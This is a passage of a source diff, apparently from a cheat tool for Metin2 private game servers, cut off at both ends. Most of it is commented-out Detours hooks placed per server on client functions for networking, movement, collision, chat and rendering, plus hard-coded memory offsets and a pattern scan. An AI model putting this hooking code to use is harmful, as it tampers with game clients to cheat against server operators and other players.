(Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//#endif +//#ifdef NERWIAS2 +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//#endif +//#ifdef SAMIAS2 +// +// /*nCPythonEventManagerRegisterEventSetFromString = (Globals::tCPythonEventManagerRegisterEventSetFromString)DetourFunction((PBYTE)Globals::CPythonEventManagerRegisterEventSetFromString, (PBYTE)NewCPythonEventManagerRegisterEventSetFromString);*/ +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//#endif +//#ifdef BALMORA +// +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//#endif +// +//#ifdef ELENIUM +// +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//#endif +// +//#ifdef DIUMAR +// +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//#endif +// +//#ifdef TENELIS +// +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +///*nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision);*/ +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//#endif +// +//#ifdef MASTIAMT2 +// +// +// +// +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +//#endif +// +//#ifdef VIRTUALMT2 +// +//nCNetworkStreamSendSequence = (Globals::tCNetworkStreamSendSequence)DetourFunction((PBYTE)Globals::CNetworkStreamSendSequence, (PBYTE)NewCNetworkStreamSendSequence); +///*//nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc);*/ +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//#endif +//#ifdef HERMAS +// +// +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +// +// +//#endif +// +//#ifdef ELITEMT2 +///*nCEterPackManagerGet = (Globals::tCEterPackManagerGet)DetourFunction((PBYTE)Globals::CEterPackManagerGet, (PBYTE)HookCEterPackManagerGet);*/ +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//#endif +//#ifdef LOTHIA +// +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +// +//#endif +//#ifdef MULA +//Globals::CMappedFileSize = (Globals::tCMappedFileSize)(Globals::hEntryBaseAddress + 0x00233420); +//Globals::CEterPackManagerGet = (Globals::tCEterPackManagerGet)(Globals::hEntryBaseAddress + 0x0027ACB0); +// +//nCEterPackManagerGet = (Globals::tCEterPackManagerGet)DetourFunction((PBYTE)Globals::CEterPackManagerGet, (PBYTE)HookCEterPackManagerGet); +//#endif +//#ifdef VAROS +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +// +// +//#endif +//#ifdef ALTRIC +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +// +// +//#endif +//#ifdef VERESTHIA +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +// +// +//#endif +//#ifdef AKADEMIA_VESTERIS +// +// //nCEterFileDictInsertItem = (Globals::tCEterFileDictInsertItem)DetourFunction((PBYTE)Globals::CEterFileDictInsertItem, (PBYTE)NewCEterFileDictInsertItem); +// +// +// //nCEterPackManagerGet = (Globals::tCEterPackManagerGet)DetourFunction((PBYTE)Globals::CEterPackManagerGet, (PBYTE)HookCEterPackManagerGet); +// +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +//nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// +// +// +// +//#endif +//#ifdef MEDIUM +// +// //nCEterFileDictInsertItem = (Globals::tCEterFileDictInsertItem)DetourFunction((PBYTE)Globals::CEterFileDictInsertItem, (PBYTE)NewCEterFileDictInsertItem); +// //nCEterPackManagerGet = (Globals::tCEterPackManagerGet)DetourFunction((PBYTE)Globals::CEterPackManagerGet, (PBYTE)HookCEterPackManagerGet); +// //nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); +////nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +////nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); +////nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +////nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +// + + +// +//#endif +//#ifdef IVEYA +// +// +//nCPythonNetworkStreamSendChatPacket = (Globals::tCPythonNetworkStreamSendChatPacket)DetourFunction((PBYTE)Globals::CPythonNetworkStreamSendChatPacket, (PBYTE)NewCPythonNetworkStreamSendChatPacket); +///*nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce);*/ +//nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); +//nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); +////nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); +//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); +//nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); +//nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); +//nPyCallClassMemberFunc2 = (Globals::tPyCallClassMemberFunc2)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc2, (PBYTE)NewPyCallClassMemberFunc2); +//nCPythonApplicationProcess = (Globals::tCPythonApplicationProcess)DetourFunction((PBYTE)Globals::CPythonApplicationProcess, (PBYTE)NewCPythonApplicationProcess); +//#endif + + + +//#ifdef VALIUM + +//DWORD pCResourceManagerGetResourcePointer = PatternScan::FindPattern("55 8B EC 6A FF 68 ? ? ? ? 64 A1 